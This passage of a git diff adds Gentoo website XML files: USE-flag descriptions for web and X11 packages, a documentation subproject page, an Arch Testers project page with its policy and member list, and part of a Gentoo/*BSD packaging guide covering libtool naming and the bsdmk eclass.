+<flag name="virtual-users"><![CDATA[Build with virtual-users support]]></flag>
+</package>
+<package name="gallery">
+<flag name="netpbm"><![CDATA[Add NetPBM support]]></flag>
+</package>
+<package name="horde-passwd">
+<flag name="clearpasswd"><![CDATA[Enables cleartext password storage in the vpopmail files]]></flag>
+</package>
+<package name="mediawiki">
+<flag name="math"><![CDATA[Adds math rendering support]]></flag>
+</package>
+<package name="moinmoin">
+<flag name="rss"><![CDATA[Add RSS support]]></flag>
+</package>
+<package name="nut">
+<flag name="cgi"><![CDATA[Add CGI script support]]></flag>
+</package>
+<package name="open-xchange">
+<flag name="webdav"><![CDATA[Enable WebDav (Web-based Distributed Authoring and Versioning) support.  ]]></flag>
+</package>
+<package name="rt">
+<flag name="lighttpd"><![CDATA[Add lighttpd support]]></flag>
+</package>
+<package name="swish-e">
+<flag name="pdf"><![CDATA[enable support for exporting to pdf]]></flag>
+</package>
+<package name="tikiwiki">
+<flag name="graphviz"><![CDATA[enable graphviz support]]></flag>
+</package>
+<package name="trac">
+<flag name="cgi"><![CDATA[Add CGI script support]]></flag>
+<flag name="enscript"><![CDATA[Add enscript support to colourize code stored in the repository]]></flag>
+<flag name="silvercity"><![CDATA[Add SilverCity support to colourize code stored in the repository]]></flag>
+</package>
+<package name="viewcvs">
+<flag name="cvsgraph"><![CDATA[Add cvsgraph support to show graphical views of revisions and branches]]></flag>
+<flag name="enscript"><![CDATA[Add enscript support to colourize code stored in the repository]]></flag>
+<flag name="mod_python"><![CDATA[Add mod_python support]]></flag>
+<flag name="standalone"><![CDATA[Install the standalone client]]></flag>
+</package>
+<package name="websvn">
+<flag name="enscript"><![CDATA[Add enscript support to colourize code stored in the repository]]></flag>
+</package>
+</category>
+<category name="www-client">
+<package name="elinks">
+<flag name="finger"><![CDATA[Enable support for the finger protocol]]></flag>
+<flag name="gopher"><![CDATA[Enable support for the gopher protocol]]></flag>
+<flag name="nntp"><![CDATA[Enable support for the NNTP]]></flag>
+</package>
+<package name="epiphany-extensions">
+<flag name="firefox"><![CDATA[build against firefox instead of mozilla]]></flag>
+</package>
+<package name="epiphany">
+<flag name="firefox"><![CDATA[build against firefox instead of mozilla]]></flag>
+</package>
+<package name="galeon">
+<flag name="firefox"><![CDATA[build against firefox instead of mozilla]]></flag>
+</package>
+<package name="kazehakase-cvs">
+<flag name="estraier"><![CDATA[enable estraier support for full-text search in history.]]></flag>
+<flag name="firefox"><![CDATA[Use firefox's Gecko engine.]]></flag>
+<flag name="thumbnail"><![CDATA[enable thumbnail support.]]></flag>
+</package>
+<package name="kazehakase">
+<flag name="estraier"><![CDATA[enable estraier support for full-text search in history.]]></flag>
+<flag name="firefox"><![CDATA[Use firefox's Gecko engine.]]></flag>
+<flag name="thumbnail"><![CDATA[enable thumbnail support.]]></flag>
+</package>
+<package name="mozilla-firefox">
+<flag name="mozcalendar"><![CDATA[Enable mozilla calendar extension, http://mozilla.org/projects/calendar/]]></flag>
+<flag name="mozdevelop"><![CDATA[Enable features for web developers (e.g. Venkman)]]></flag>
+<flag name="moznoxft"><![CDATA[Disable XFT support in mozilla (also firefox, thunderbird)]]></flag>
+<flag name="mozsvg"><![CDATA[Enable SVG support in mozilla and firefox]]></flag>
+<flag name="mozxmlterm"><![CDATA[Enable mozilla's XML-based command-line terminal]]></flag>
+</package>
+<package name="mozilla">
+<flag name="mozcalendar"><![CDATA[Enable mozilla calendar extension, http://mozilla.org/projects/calendar/]]></flag>
+<flag name="mozdevelop"><![CDATA[Enable features for web developers (e.g. Venkman)]]></flag>
+<flag name="moznocompose"><![CDATA[Disable building of mozilla's HTML editor component]]></flag>
+<flag name="moznoirc"><![CDATA[Disable building of mozilla's IRC client]]></flag>
+<flag name="moznomail"><![CDATA[Disable building mozilla's mail client]]></flag>
+<flag name="moznoxft"><![CDATA[Disable XFT support in mozilla (also firefox, thunderbird)]]></flag>
+<flag name="mozsvg"><![CDATA[Enable SVG support in mozilla and firefox]]></flag>
+<flag name="mozxmlterm"><![CDATA[Enable mozilla's XML-based command-line terminal]]></flag>
+</package>
+<package name="netscape">
+<flag name="moznomail"><![CDATA[Do not install Netscape Mail]]></flag>
+</package>
+<package name="w3m">
+<flag name="async"><![CDATA[Enables asynchronous fetch]]></flag>
+<flag name="imlib2"><![CDATA[If you want to link imlib2 instead of imlib against w3mimgdisplay]]></flag>
+<flag name="lynxkeymap"><![CDATA[If you prefer Lynx-like key binding]]></flag>
+</package>
+</category>
+<category name="www-misc">
+<package name="nsxml">
+<flag name="xslt"><![CDATA[Enables xslt support]]></flag>
+</package>
+</category>
+<category name="www-servers">
+<package name="gorg">
+<flag name="apache"><![CDATA[Install apache]]></flag>
+</package>
+<package name="lighttpd">
+<flag name="memcache"><![CDATA[Enable memcache support for mod_cml and mod_trigger_b4_dl]]></flag>
+<flag name="rrdtool"><![CDATA[Enable rrdtool support via mod_rrdtool]]></flag>
+<flag name="webdav"><![CDATA[Enables webdev properties]]></flag>
+<flag name="xattr"><![CDATA[if you want extended attributes enabled]]></flag>
+</package>
+<package name="pound">
+<flag name="msdav"><![CDATA[if you want the Microsoft DAV extensions enabled]]></flag>
+<flag name="unsafe"><![CDATA[if you want the 'unsafe' characters passed through to the web servers]]></flag>
+</package>
+<package name="shttpd">
+<flag name="cgi"><![CDATA[Enable CGI script support]]></flag>
+<flag name="dmalloc"><![CDATA[Enable debugging with the dmalloc library]]></flag>
+</package>
+<package name="skunkweb">
+<flag name="apache1"><![CDATA[enable apache1 support if internal server and apache2 support not wanted]]></flag>
+</package>
+<package name="thttpd">
+<flag name="mkconfig"><![CDATA[Create phpconfig source tarball (for maintainer use only)]]></flag>
+</package>
+</category>
+<category name="x11-base">
+<package name="kdrive">
+<flag name="fbdev"><![CDATA[Enables framebuffer kdrive server]]></flag>
+<flag name="font-server"><![CDATA[Enables font server support]]></flag>
+<flag name="speedo"><![CDATA[Enables Speedo font support]]></flag>
+<flag name="type1"><![CDATA[Enables Type1 font support]]></flag>
+</package>
+<package name="x11-drm">
+<flag name="gatos"><![CDATA[Installs DRM built to work alongside GATOS features]]></flag>
+</package>
+<package name="xorg-server">
+<flag name="glx"><![CDATA[Enable OpenGL extension for X]]></flag>
+<flag name="nvidia"><![CDATA[Enable binary Nvidia driver support]]></flag>
+</package>
+<package name="xorg-x11">
+<flag name="bitmap-fonts"><![CDATA[Builds the crappy 100 DPI and 75 DPI fonts]]></flag>
+<flag name="dlloader"><![CDATA[Enable dynamic module loader instead of ELF loader]]></flag>
+<flag name="dmx"><![CDATA[Build Distributed Multiheaded X]]></flag>
+<flag name="font-server"><![CDATA[Build XFS, the X Font Server]]></flag>
+<flag name="insecure-drivers"><![CDATA[Builds insecure DRI stuff for via, mach64 and savage]]></flag>
+<flag name="sdk"><![CDATA[Builds the software development kit]]></flag>
+<flag name="truetype-fonts"><![CDATA[Build TrueType fonts]]></flag>
+<flag name="type1-fonts"><![CDATA[Build Type1 fonts]]></flag>
+</package>
+</category>
+<category name="x11-drivers">
+<package name="ati-drivers">
+<flag name="dlloader"><![CDATA[Experimental relink to support dlloader]]></flag>
+</package>
+</category>
+<category name="x11-libs">
+<package name="cairo">
+<flag name="glitz"><![CDATA[Build with glitz support]]></flag>
+</package>
+<package name="evas">
+<flag name="cairo"><![CDATA[Build the cairo graphical engine]]></flag>
+</package>
+<package name="fltk">
+<flag name="noxft"><![CDATA[Disables fltk; use for non-english characters]]></flag>
+</package>
+<package name="goffice">
+<flag name="cairo"><![CDATA[Enable cairo support]]></flag>
+</package>
+<package name="gtkmathview">
+<flag name="t1lib"><![CDATA[Enable t1lib support]]></flag>
+</package>
+<package name="libXfont">
+<flag name="bitmap-fonts"><![CDATA[Support the crappy 100 DPI and 75 DPI fonts]]></flag>
+<flag name="cid"><![CDATA[Support CID fonts -- non-Roman character sets]]></flag>
+<flag name="speedo"><![CDATA[Support Speedo fonts, an old type of font]]></flag>
+<flag name="type1"><![CDATA[Support Type1 PostScripts fonts]]></flag>
+</package>
+<package name="qt">
+<flag name="immqt"><![CDATA[Enable binary incompatible version of immodule for Qt]]></flag>
+<flag name="immqt-bc"><![CDATA[Enable binary compatible version of immodule for Qt]]></flag>
+</package>
+<package name="wxGTK">
+<flag name="no_wxgtk1"><![CDATA[Disable gtk support. Must be used in combination with gtk2]]></flag>
+<flag name="wxgtk1"><![CDATA[Add gtk1 support in addition to optional gtk2ansi and gtk2unicode]]></flag>
+</package>
+</category>
+<category name="x11-misc">
+<package name="linuxwacom">
+<flag name="dlloader"><![CDATA[Installs dynamically linked linuxwacom Xorg driver]]></flag>
+<flag name="sdk"><![CDATA[Builds wacom X11 driver against installed X11 SDK]]></flag>
+</package>
+<package name="openclipart">
+<flag name="gzip"><![CDATA[Compresses clip art using gzip]]></flag>
+<flag name="pdf"><![CDATA[Installs pdf files as "clipart"]]></flag>
+</package>
+<package name="rss-glx">
+<flag name="xscreensaver"><![CDATA[Enable detection of xscreensavers]]></flag>
+</package>
+<package name="synaptics">
+<flag name="dlloader"><![CDATA[Installs dynamically linked synaptics Xorg driver]]></flag>
+</package>
+<package name="vnc2swf">
+<flag name="x11vnc"><![CDATA[Install script that depends on x11vnc]]></flag>
+</package>
+<package name="xlockmore">
+<flag name="xlockrc"><![CDATA[Enables xlockrc for people without PAM]]></flag>
+</package>
+<package name="xscreensaver">
+<flag name="insecure-savers"><![CDATA[Installs some screensaver modules as setuid root to enable cooler effects]]></flag>
+<flag name="new-login"><![CDATA[Enables users to create new logins even if the X screen is locked by someone else]]></flag>
+</package>
+</category>
+<category name="x11-plugins">
+<package name="wmhdplop">
+<flag name="gkrellm"><![CDATA[Enable build of gkrellm module]]></flag>
+</package>
+<package name="wmsysmon">
+<flag name="high-ints"><![CDATA[Enable support for monitoring 24 interrupts, useful on SMP machines]]></flag>
+</package>
+</category>
+<category name="x11-terms">
+<package name="aterm">
+<flag name="xgetdefault"><![CDATA[Enable resources via X instead of aterm small version]]></flag>
+</package>
+<package name="eterm">
+<flag name="escreen"><![CDATA[enable built in screen support]]></flag>
+<flag name="etwin"><![CDATA[enable twin support]]></flag>
+</package>
+<package name="mlterm">
+<flag name="uim"><![CDATA[Enable uim support]]></flag>
+</package>
+<package name="mrxvt">
+<flag name="menubar"><![CDATA[Enable mrxvt menubar]]></flag>
+<flag name="xgetdefault"><![CDATA[Enable resources via X instead of rxvt small version]]></flag>
+</package>
+<package name="rxvt-unicode">
+<flag name="tabs"><![CDATA[Install the experimental urxvt-tabbed client]]></flag>
+<flag name="xgetdefault"><![CDATA[Enable resources via X instead of rxvt small version]]></flag>
+</package>
+<package name="rxvt">
+<flag name="linuxkeys"><![CDATA[Define LINUX_KEYS (changes Home/End key)]]></flag>
+<flag name="xgetdefault"><![CDATA[Enable resources via X instead of rxvt small version]]></flag>
+</package>
+<package name="xterm">
+<flag name="toolbar"><![CDATA[Enable the xterm toolbar to be built.]]></flag>
+</package>
+</category>
+<category name="x11-themes">
+<package name="polymer">
+<flag name="sse2"><![CDATA[Enables sse2 support.]]></flag>
+</package>
+</category>
+<category name="x11-wm">
+<package name="enlightenment">
+<flag name="nothemes"><![CDATA[Don't include the standard E themes]]></flag>
+<flag name="xrandr"><![CDATA[Enable support for the X xrandr extension]]></flag>
+</package>
+<package name="fluxbox">
+<flag name="bigger-fonts"><![CDATA[Force the supplied themes to use at least 10pt fonts]]></flag>
+<flag name="disablexmb"><![CDATA[Disable XMB. Works around bug 65186.]]></flag>
+</package>
+<package name="fvwm">
+<flag name="rplay"><![CDATA[Enable rplay support]]></flag>
+<flag name="stroke"><![CDATA[Mouse Gesture support]]></flag>
+</package>
+<package name="icewm">
+<flag name="silverxp"><![CDATA[Apply ybuttons.cc.patch necessary for SilverXP theme]]></flag>
+</package>
+<package name="openbox">
+<flag name="pango"><![CDATA[Enable pango support]]></flag>
+<flag name="startup-notification"><![CDATA[Enable application startup notification]]></flag>
+</package>
+<package name="windowmaker">
+<flag name="modelock"><![CDATA[Enable XKB language status lock support. README says: "If you don't know what it is you probably don't need it."]]></flag>
+</package>
+</category>
+</local>
+</useflags>
diff --git a/xml/htdocs/proj/en/gdp/user.xml b/xml/htdocs/proj/en/gdp/user.xml
new file mode 100644
index 00000000..c84266b3
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/user.xml
@@ -0,0 +1,119 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/gdp/user.xml">
+<title>Gentoo User Application Documentation Subproject</title>
+<subtitle>Main Page</subtitle>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<abstract>
+The Gentoo User Application Documentation Subproject is a project devoted 
+to the complete and concise application centric documentation of Gentoo.
+</abstract>
+
+<version>1.0</version>
+<date>7 August 2003</date>
+
+<chapter>
+<title>Project Information</title>
+
+<section>
+<title>Introduction</title>
+
+<body>
+
+<p>
+The Gentoo User Application Documentation Subproject features the documentation
+used by our users to setup and configure specific items in a Gentoo  
+system.
+</p>
+
+<p>
+On this page you will find a listing of the documents featured by this
+subproject, and the maintainer of the document. This maintainer is
+<e>not</e> the only one who can edit the document, on the contrary.
+Every person of the team should be able to edit the document. However,
+the reason of this maintainership is to have at least one person we know
+that we can address with problems concerning the document if no one else
+is volunteering.
+</p>
+
+</body>
+</section>
+<section>
+<title>Featured Documents</title>
+<body>
+
+<table>
+<tr>
+ <th>Document</th><th>Maintainer</th>
+</tr>
+<tr>
+ <ti>Gentoo Security Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Gentoo Java Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Gentoo Guide to Printing</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Gentoo NVidia Troubleshooting Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Gentoo Kernel Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Hardware 3D Acceleration Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>ALSA Configuration Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Nano Basics Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>OpenAFS Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Learning Vi</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Prelinking Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>GnuPG User Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Virtual/Mailhost HOWTO</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>LVM Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Quickstart to CLI e-mail Tools</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>User-Mode Linux</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Compaq Alpha Tools Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Gentoo IPv6 Guide</ti><ti>??</ti>
+</tr>
+<tr>
+ <ti>Gentoo LTSP Guide</ti><ti><mail link="lanius@gentoo.org">Heinrich Wendel</mail></ti>
+</tr>
+<tr>
+ <ti>Gentoo Distcc Guide</ti><ti><mail link="lisa@gentoo.org">Lisa M. Seelye</mail></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gentoo-alt/at/index.xml b/xml/htdocs/proj/en/gentoo-alt/at/index.xml
new file mode 100644
index 00000000..fc146d72
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/at/index.xml
@@ -0,0 +1,163 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Gentoo/Alt ATs</name>
+<longname>Gentoo/Alt Arch Testers</longname>
+
+<date>2007-03-15</date>
+<author title="Author">
+  <mail link="welp@gentoo.org">Peter Weller</mail>
+</author>
+
+<description>
+The Gentoo/Alt AT project is devoted to helping developers with timeconsuming
+testing.
+</description>
+
+<longdescription>
+
+<p>
+The Gentoo/Alt Arch Testers (ATs) assist the developers with the time-consuming
+testing to help keeping the tree up to date. They mainly communicate with the
+developers through Gentoo's Bugzilla (http://bugs.gentoo.org) and IRC. The ATs
+are also on the relevant mail alias so they can watch the bugzilla traffic
+closely.
+</p>
+
+</longdescription>
+
+<extrachapter position="top">
+<title>Partipicating</title>
+<section>
+<body>
+
+<p>
+We are constantly looking for new ATs. If you meet the following criterias, you
+are likely our ideal candidate:
+</p>
+
+<ul>
+  <li>You are running any of the Gentoo/Alts</li>
+  <li>You like tinkering with new software</li>
+  <li>
+    You want to get involved with Gentoo development, and want to help the
+    project better
+  </li>
+</ul>
+
+<p>
+If you would like to parcipicate in the project, please send an email to
+<mail link="welp@gentoo.org">welp</mail>. You will be lead through the process
+and helped with the <uri link="/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri>, which is a requirement for all ATs. Gentoo/Prefix ATs should also
+complete the <uri
+link="http://dev.gentoo.org/~grobian/prefix-quiz">Gentoo/Prefix quiz</uri>.
+</p>
+
+<note>
+ATs are not official Gentoo developers, they are, however, a recognized part of
+the Gentoo/Alt project.
+</note>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Arch Testers Policy</title>
+<section>
+<body>
+
+<p>
+There are a few rules which must be followed to ensure a certain quality level;
+Gentoo/Alt ATs must fulfill these requirements:
+</p>
+
+<ul>
+  <li>Use reasonable <c>CFLAGS</c></li>
+  <li>
+    Enable at least the following <c>FEATURES</c>: <c>collision-protect</c>,
+    <c>test</c>
+  </li>
+  <li>Test thoroughly</li>
+  <li>Check that the ebuild has got no open bugs</li>
+  <li>
+    Use the <c>category/package-version</c> format when reporting success or
+    failure
+  </li>
+  <li>Always append <c>emerge --info</c> to bug reports</li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Gentoo/Alt AT listing</title>
+<section>
+<body>
+
+<p>
+The following people are currently contributing to the project:
+</p>
+
+<table>
+  <tr>
+    <th>Subproject</th> 
+    <th>Full Name</th>
+    <th>Nickname</th>
+    <th>Status</th>
+    <th>Email</th>
+  </tr>
+  <tr>
+    <ti>Gentoo/FreeBSD</ti>
+    <ti>Nathan Smith</ti>
+    <ti>ndansmith</ti>
+		<ti>Active</ti>
+    <ti>ndansmith@gmail.com</ti>
+  </tr>
+  <tr>
+    <ti>Gentoo/Prefix</ti>
+    <ti>Florian Voigt</ti>
+    <ti>Niat</ti>
+    <ti>Pre-quiz</ti>
+    <ti>fvoigt@nada-corp.de</ti>
+  </tr>
+  <tr>
+    <ti>Gentoo/Prefix</ti>
+    <ti>Philipp Riegger</ti>
+    <ti>stoile</ti>
+    <ti>Pre-quiz</ti>
+    <ti>stoile@anderedomain.de</ti>
+  </tr>
+  <tr>
+    <ti>Gentoo/FreeBSD</ti>
+    <ti>Pierre Guinoiseau</ti>
+    <ti>geekounet</ti>
+    <ti>Pre-quiz</ti>
+    <ti>geekounet@gmail.com</ti>
+  </tr>
+  <tr>
+    <ti>Gentoo/Prefix</ti>
+    <ti>Matt Hull</ti>
+    <ti>mattmatteh</ti>
+    <ti>Pre-quiz</ti>
+    <ti>mattmatteh@earthlink.net</ti>
+	</tr>
+	<tr>
+		<ti>Gentoo/FreeBSD</ti>
+		<ti>Toffanin Mauro</ti>
+		<ti>[equilibrium]</ti>
+		<ti>Active</ti>
+		<ti>toffanin.mauro@gmail.com</ti>
+	</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/gentoo-alt/bsd/devnotes.xml b/xml/htdocs/proj/en/gentoo-alt/bsd/devnotes.xml
new file mode 100644
index 00000000..b0ee20ca
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/bsd/devnotes.xml
@@ -0,0 +1,382 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/bsd/devnotes.xml,v 1.11 2006/05/02 06:33:54 flameeyes Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/bsd/devnotes.xml" lang="en">
+<title>Gentoo/*BSD Devnotes Guide</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<author title="GuideXML">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<author title="Editor">
+  <mail link="reb@gentoo.org">Karol Pasternak</mail>
+</author>
+
+<abstract>
+This guide is meant to display some Gentoo/*BSD specific notes about working
+with packages on a Gentoo/*BSD environment.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2006-05-02</date>
+
+<chapter> <!-- System structure -->
+<title>System Structure</title>
+<section>
+<title>System Ebuilds Organization</title>
+<body>
+
+<p>
+For consistency with the way upstream packages the system's sources (at least 
+on FreeBSD), it's suggested to follow, now and in future ports, a simple rule
+about the organization of the system's ebuild.
+</p>
+
+<p>
+First of all, the categories should reflect the port itself, as with 
+<path>sys-freebsd</path>. This allows excluding with <c>rsync_exclude</c> the 
+part of portage that doesn't apply for your system.
+</p>
+
+<p>
+After that you should then split the packages on the name of the source package.
+This means that they are split on <path>bin</path>, <path>usr.bin</path>, 
+<path>lib</path> and so on. As a dot is not a good character for a package name,
+it's better to contract the "usr." part to "u", as FreeBSD's devs do when they 
+release the sources of a new version (see 
+<uri link="ftp://ftp.FreeBSD.org/pub/FreeBSD/releases/i386/5.4-RELEASE">5.4 
+sources release</uri> as an example), so we'll have <path>bin</path> and 
+<path>ubin</path>. The name should then made unique prefixing it with the port
+name (<path>freebsd-bin</path>, <path>freebsd-ubin</path>, <path>freebsd-lib</path>).
+</p>
+
+<p>
+Currently the following categories are being worked on:
+</p>
+
+<ul>
+  <li><path>sys-freebsd</path></li>
+  <li><path>sys-openbsd</path></li>
+  <li><path>sys-dragonfly</path> (developed unofficially by arachnist)</li>
+  <li><path>sys-netbsd</path></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Base Packages</title>
+<body>
+
+<p>
+While Gentoo/*BSD should try to be Gentoo as much as possible while being as 
+much as themselves as much as possible, there are cases where using software 
+in <c>portage</c> is prefered over using the applicable port's versions. The 
+experience on Gentoo/FreeBSD suggest a good way to deal with this. The 
+reasons behind this is that it takes less time to build a simpler package 
+than to install everything to base packages, and it's quicker to fix them if 
+needed, for example, for security patches.
+</p>
+
+<p>
+What should not be installed in base system is mainly things that belongs to 
+contrib sections, like GNU software that is installed by the system (think of 
+<c>grep</c>, <c>gsed</c> and so on), but it can also be something else. For 
+example Gentoo/FreeBSD builds on its own <c>bsdtar</c> because that can be 
+used by other systems, too (like Linux). The same applies for other packages 
+that can be shared between different Gentoo/*BSD systems.
+</p>
+
+<p>
+While stated earlier that base system packages go into <path>sys-SYSTEM</path> 
+category, packages like <c>bsdtar</c>, <c>libbegemot</c> and <c>libbsnmp</c> 
+goes into their "classic" categories, <path>app-arch</path>, 
+<path>dev-libs</path> and <path>net-libs</path>, as they are shared between 
+systems. If they are not going to work on Linux, the best thing is to 
+<path>package.mask</path> them on <path>default-linux</path> profile in 
+<c>portage</c> (if you're going to merge <c>portage</c> or this is not going
+to be a problem for main tree maintainers).
+</p>
+
+<p>
+When doing this kind of splitting, is important to watch at the differences 
+that might be between different BSD flavors, as sometimes they share and mix 
+the same library or tool between them. When there are differences that might 
+mean different behavior, is better not to split, or try to contact the 
+upstream devs (trying to find who is the original author of that code) to 
+see if it's possible to merge the behavior again.
+</p>
+
+<p>
+An exception can be done for packages such as <c>gcc</c> and <c>binutils</c> 
+that can have patches that are mandatory on the porting platform and that can 
+be difficult to split out. It's usually recommended that the patches get split
+out as soon as possible. In case there's no clean way to do so, the entire
+patchset should be applied over a vanilla gcc that is built with the same way 
+Gentoo's <c>GCC</c> is built.  This ensures that <c>gcc-config</c> can take it
+up.
+</p>
+
+<impo>
+Although <c>sys-devel/pmake</c> exists, and it should be a make command
+compatible with FreeBSD's and DragonFly's <c>make</c>, it was tested and
+found not 100% reliable. The problem can be with FreeBSD's makefiles or
+with Debian's patches, but the result is that the package is not usable,
+so it should <e>not</e> be used on Gentoo/*BSD systems.
+</impo>
+
+</body>
+</section>
+</chapter>
+<chapter> <!-- Non-System Package Notes -->
+<title>Non-System Packaging Notes</title>
+<section> <!-- Source tarballs structure -->
+<title>Source tarballs structure</title>
+<body>
+
+<p>
+When preparing the source tarballs, according to the notes above, you should 
+package separately, as is done by the original FreeBSD. To make easier this 
+task, you can find a simple script in CVS called <path>extract.sh</path>.
+This scripts accepts two parameters, the first one is the version you're 
+getting the packages for, and must be formatted in the Gentoo way (that is, 
+6.0 beta4 packages would be created asking for 6.0_beta4 version), the script 
+takes care of translating that to the FreeBSD naming scheme.
+After that, the scripts downloads all the sources in 1.44-sized files, 
+recompose them and then translate the tarballs from gzip to bzip2.
+</p>
+
+<p>
+The files should then be loaded into <path>/space/distfiles-local</path> so that
+the mirrors can fetch them.
+</p>
+
+<impo>
+Until ports are officially in portage, the files that are copied inside
+<path>distfiles-local</path> and then upload on the mirrors <e>must</e> be
+whitelisted in <path>/space/distfiles-whitelist/YEAR-MONTH</path> so that they
+won't get deleted.
+</impo>
+
+</body>
+</section>
+
+<section> <!-- libtool and libraries naming -->
+<title>libtool and libraries naming</title>
+
+<body>
+
+<p>
+One of the most "black magic" problems that are faced by Gentoo/*BSD developers
+is the libtool naming scheme. By default on FreeBSD and DragonFly BSD the
+libraries are named with a single versioning number after the <c>.so</c>
+extension. This makes the soname and the actual library name be the same.
+</p>
+
+<p>
+Unfortunately this approach, while having its own reasons, makes difficult for
+users to updated from one version of a library to another, if that changes the
+first part of its version. For instance, libiconv 1.9 and libiconv 1.10, are
+respectively <path>libiconv.so.2.2</path> and <path>libiconv.so.2.3</path> on
+Linux, while they are <path>libiconv.so.4</path> and <path>libiconv.so.5</path>
+on native FreeBSD. This breaks everything that links against libiconv, and this
+is a big part of the system, as also GCC, if compiled with nls support, links
+against it. The same trouble goes for glib, GTK+ and Gnome libraries.
+</p>
+
+<p>
+The solution to this problem is to use the Linux naming scheme on Gentoo/FreeBSD
+and Gentoo/DragonFly. To achieve this, it's needed to patch libtool, but as many
+packages are shipped with complete autotools, it's not practical to re-execute
+<c>libtoolize</c> over everyone of them. The solution is to make use of the
+already widely used <c>elibtoolize</c> function, that patches directly the
+already created files (in particular the configure file) to use the Linux naming
+when being on Gentoo systems.
+</p>
+
+<impo>
+<c>elibtoolize</c> patches are tricky to handle, as they require being prepared
+in a given way. Please don't touch them without contacting
+<mail link="flameeyes@gentoo.org">Diego Pettenò</mail> (for Gentoo/*BSD specific
+patches) or <mail link="azarah@gentoo.org">Martin Schlemmer</mail> (for
+everything else).
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter> <!-- Eclasses guide -->
+<title>Eclasses guide</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<p>
+To make simple the work for developers working with BSD-packaged source code,
+the Gentoo/FreeBSD ebuilds make use of two main eclasses designed just for
+supporting the "ebuildification" of ports-like packages. One is generic and is
+shared between all the other Gentoo/*BSD ports, while the other is more related
+to the handling of the system ebuilds.
+</p>
+
+<p>
+The two eclasses are <path>bsdmk.eclass</path> and <path>freebsd.class</path>.
+Their use is not limited to Gentoo/FreeBSD itself, as many packages uses ports
+interfaces directly in their sources, and can then be built with those eclasses
+on other systems (take for example <c>net-fs/smbfs</c> that should work on
+Darwin, too).
+</p>
+
+</body>
+</section>
+
+<section> <!-- bsdmk eclass -->
+<title>bsdmk eclass</title>
+
+<body>
+
+<p>
+Starting from the most generic eclass, we have <c>bsdmk</c>. This eclass is
+used to simplify the handling of packages with a build system based on "mk"
+files, in ports style. The mk files are files that contains predefined rules,
+variables and that can be included to avoid writing every time a complete
+makefile.
+</p>
+
+<p>
+A makefile that uses a mk-like interface is much similar to a Makefile.am,
+as it only defines the targets, the sources, and the extra non-standard rules.
+It also can specify subdirs, to use recursive make.
+</p>
+
+<p>
+It's not possible to build a mk-based package using GNU make, as it uses
+syntaxes that are extensions used by BSD-ish makes. You can find on
+<uri link="/proj/en/gentoo-alt/contribute/index.xml?part=1&amp;chap=4">Gentoo/Alt maintainers notes</uri>
+an explaination on how to handle BSD-style make and GNU make in ebuilds.
+</p>
+
+<p>
+mk-based packages support passing extra options to enable/disable features,
+alike to <c>configure</c> options. This kind of options are often called
+"knobs", and are simply extra variables passed on the command line.
+</p>
+
+<pre caption="example of make call with knobs">
+  make NO_WERROR= INET6= OTHER_KNOB=
+</pre>
+
+<p>
+While using autotooled packages you need to pass the options to <c>configure</c>
+only inside <c>src_compile</c> function, using mk-based packages you need to
+pass the same knobs to both build and install commands. To simplify this, the
+eclass provides two functions (<c>mkmake</c> and <c>mkinstall</c>) that passes
+to the make command the knobs set in <c>${mymakeopts}</c> variable, that should
+be filled during <c>pkg_setup</c> referring to the useflag the user set (or the
+features that must/must not be enabled for the build).
+</p>
+
+<p>
+As many packages - like the source packages for FreeBSd and probably other
+BSD source packages - just needs to call <c>mkmake</c> to build and
+<c>mkinstall</c> to install the files built, bsdmk eclass also exports
+<c>bsdmk_src_compile</c> and <c>bsdmk_src_install</c> functions that are a quick
+way to prepare an ebuild for a mk-based package.
+</p>
+
+<p>
+Sometimes you want to exclude, from a bigger source tree, a single directory or
